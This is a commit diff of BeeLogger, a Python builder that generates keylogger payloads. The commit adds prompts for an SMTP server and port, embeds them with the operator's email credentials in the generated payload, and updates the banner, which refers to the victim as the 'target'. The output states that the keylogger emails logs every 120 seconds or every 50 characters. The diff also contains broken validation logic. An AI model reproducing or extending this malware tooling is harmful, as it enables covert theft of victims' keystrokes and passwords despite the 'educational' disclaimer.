77import os
88import sys
99import time
10+ BLUE , RED , WHITE , YELLOW , MAGENTA , GREEN , END = '\33 [94m' , '\033 [91m' , '\33 [97m' , '\33 [93m' , '\033 [1;35m' , '\033 [1;32m' , '\033 [0m'
1011if not os .geteuid () == 0 :
1112 sys .exit ('BeeLogger must be run as root' )
1213def clear ():
1314 os .system ('clear' )
1415def begin ():
1516 os .system ('sudo rm -Rf dist' )
17+ print "\n {0}You can see a list with servers and ports in SERVERS.txt on BeeLogger folder.{1}" .format (GREEN ,END )
18+ gh = raw_input ('\n Type email server (ex: \' smtp.gmail.com\' ): ' )
19+ if len (gh ) != 1 or 'smtp' not in gh :
20+ print "\n {0} [!] Please use a valid smtp server.{1}" .format (RED , END )
21+ begin ()
22+ ghp = raw_input ('\n Type email server port (ex: \' 587\' ): ' )
23+ if len (gh ) != 1 :
24+ print "\n {0} [!] Please type a valid smtp server port.{1}" .format (RED , END )
25+ begin ()
1626 email = raw_input ('Type your email to receive logs: ' )
1727 epass = raw_input ('Type your email password: ' )
1828 print '\n '
1929 print '[ * * * * * * * * * * * * * * * * * * * * * * * * * ]'
2030 print '\n email: ' + email
2131 print ' password: ' + epass
32+ print ' smtp: ' + gh
33+ print ' port: ' + ghp
2234 print '\n [ * * * * * * * * * * * * * * * * * * * * * * * * * ]'
2335 print '\n '
2436 ask = raw_input ('These info above are correct? (y/n) :' )
@@ -30,6 +42,8 @@ def begin():
3042 o = template .read ()
3143 payload = '#/usr/bin/python\n '
3244 payload += '# -*- coding: utf-8 -*-\n '
45+ payload += 'GH = ' + "'" + gh + "'" + '\n '
46+ payload += 'GHP = ' + "'" + ghp + "'" + '\n '
3347 payload += 'EEMAIL = ' + "'" + email + "'" + '\n '
3448 payload += 'EPASS = ' + "'" + epass + "'" + '\n '
3549 payload += str (o )
@@ -39,40 +53,27 @@ def begin():
3953 template .close ()
4054def warn ():
4155 sys .stdout .write (YELLOW + '''
42- % % :::
43- % % ::::::
44- %%%%%% %%%%%%%%% ::::::::
45- %%%%%ZZZZ%%%%%% %%%ZZZZ :::::::::: ::::::
46- %%%ZZZZZ%%%%%%%%%%%%%%ZZZZZZ ::::::::::: :::::::::::::::::
47- ZZZ%ZZZ%%%%%%%%%%%%%%%ZZZZZZZ::::::::::***:::::::::::::::::::::
48- ZZZ%ZZZZZZ%%%%%%%%%%%%%%ZZZZZZZZZ::::::***:::::::::::::::::::::::
49- ZZZ%ZZZZZZZZZZ%%%%%%%%%%ZZZZZZ%ZZZZ:::***:::::::::::::::::::::::
50- ZZ%ZZZZZZZZZZZZZZZZZZZZZZZ%%%%% %ZZZ:**::::::::::::::::::::::
51- ZZ%ZZZZZZZZZZZZZZZZZZZ%%%%% | | %ZZZ *:::::::::::::::::::
52- Z%ZZZZZZZZZZZZZZZ%%%%%%%%%%%%%%%ZZZ::::::::::::::::::::::::::
53- ZZZZZZZZZZZ%%%%%ZZZZZZZZZZZZZZZZZ%%%%:::ZZZZ::::::::::::::::: #BeeLogger
54- ZZZZ%%%%%ZZZZZZZZZZZZZZZZZZ%%%%%ZZZ%%ZZZ%ZZ%%*:::::::::::
55- ZZZZZZZZZZZZZZZZZZ%%%%%%%%%ZZZZZZZZZZ%ZZ%:::*:::::::
56- *:::%%%%%%%%%%%%%%%%%%%%%%%ZZZZZZZZZZ%%%*::::*::::
57- *:::::::%%%%%%%%%%%%%%%%%%%%%%%ZZZZZ%% *:::Z
58- **:ZZZZ:::%%%%%%%%%%%%%%%%%%%%%%%%%%%ZZ ZZZZZ
59- *:ZZZZZZZ %%%%%%%%%%%%%%%%%%%%%ZZZZ ZZZZZZZ
60- *::::ZZZZZZ %%%%%%%%%%%%%%%ZZZZZZZ ZZZ
61- *::ZZZZZZ Z%%%%%%%%%%%ZZZZZZZ%%
62- ZZZZ ZZZZZZZZZZZZZZZZ%%%%%''' + RED + ''' # Disclaimer Alert #''' + YELLOW + '''
63- %%%ZZZZZZZZZZZ%%%%%%%%''' + WHITE + ''' Not Responsible For Misuse ''' + YELLOW + '''
64- Z%%%%%%%%%%%%%%%%%%%%%''' + WHITE + ''' And For Illegal Purposes.''' + YELLOW + '''
65- ZZ%%%%%%%%%%%%%%%%%%%''' + WHITE + ''' Use it just for''' + RED + ''' WORK''' + WHITE + ''' or ''' + RED + '''EDUCATIONAL''' + WHITE + ''' !
66- ''' )
6756
68- BLUE , RED , WHITE , YELLOW , MAGENTA , GREEN , END = '\33 [94m' , '\033 [91m' , '\33 [97m' , '\33 [93m' , '\033 [1;35m' , '\033 [1;32m' , '\033 [0m'
57+ \ /
58+ \ o ^ o / TO STOP SEND LOGS JUST
59+ \ ( ) / DISABLE IT ON
60+ ____________(%%%%%%%)____________ TARGET IN MSCONFIG !
61+ ( / / )%%%%%%%( \ \ )
62+ (___/___/__/ \__\___\___) https://github.com/4w4k3/BeeLogger
63+ ( / / (%%%%%%) \ \ )
64+ (__/___/ (%%%%) \___\__)
65+ ''' + RED + ''' [ Disclaimer Alert ]''' + YELLOW + '''
66+ ''' + WHITE + ''' Not Responsible For Misuse ''' + YELLOW + '''
67+ ''' + WHITE + ''' or Illegal Purposes.''' + YELLOW + '''
68+ ''' + WHITE + ''' Use it just for''' + RED + ''' WORK''' + WHITE + ''' or ''' + RED + '''EDUCATIONAL''' + WHITE + ''' !
69+ ''' )
6970
7071def heading ():
7172 os .system ('clear' )
7273 sys .stdout .write (YELLOW + '''
7374
7475 .' '. I BEE YOU __
75- . . . \(__\_/ Version: 2.0
76+ . . . \(__\_/ Version: 2.2
7677 . . . -{{#(|8)
7778 ' . . ' ' . . ' /(__/ \ by:''' + WHITE + ' Alisson Moretto (' + YELLOW + '4w4k3' + WHITE + ')' + '\n ' + '\n ' + END )
7879 print ' {0}[{1}K{0}]{1} Generate Keylogger {0}[{1}U{0}]{1} Update {0}[{1}Q{0}]{1} Quit ' .format (YELLOW , WHITE ) + '\n '
@@ -83,7 +84,7 @@ def option():
8384def main ():
8485 clear ()
8586 warn ()
86- raw_input (' PRESS [ENTER] TO CONTINUE' )
87+ raw_input ('\n PRESS [ENTER] TO CONTINUE' )
8788 clear ()
8889 heading ()
8990 try :
@@ -97,7 +98,7 @@ def main():
9798 raise SystemExit
9899 if choice .upper () == 'K' :
99100 option ()
100- print '\n {0}WARNING: Enable access to less secure apps on your gmail account.{1} \n -> https://www.google.com/settings/security/lesssecureapps' .format (RED , END )
101+ print '\n {0}WARNING: Enable access to less secure apps on your email account.{1} \n -> RECOMMENDED: \n * GMAIL * https://www.google.com/settings/security/lesssecureapps' .format (RED , END )
101102 print '\n NOTE: Don\' t use your personal email, make a dedicated.'
102103 print '\n {0}This keylogger send logs when logs > 50 chars or each 120 seconds.{1}' .format (BLUE , END )
103104 if choice .upper () == '6' :
0 commit comments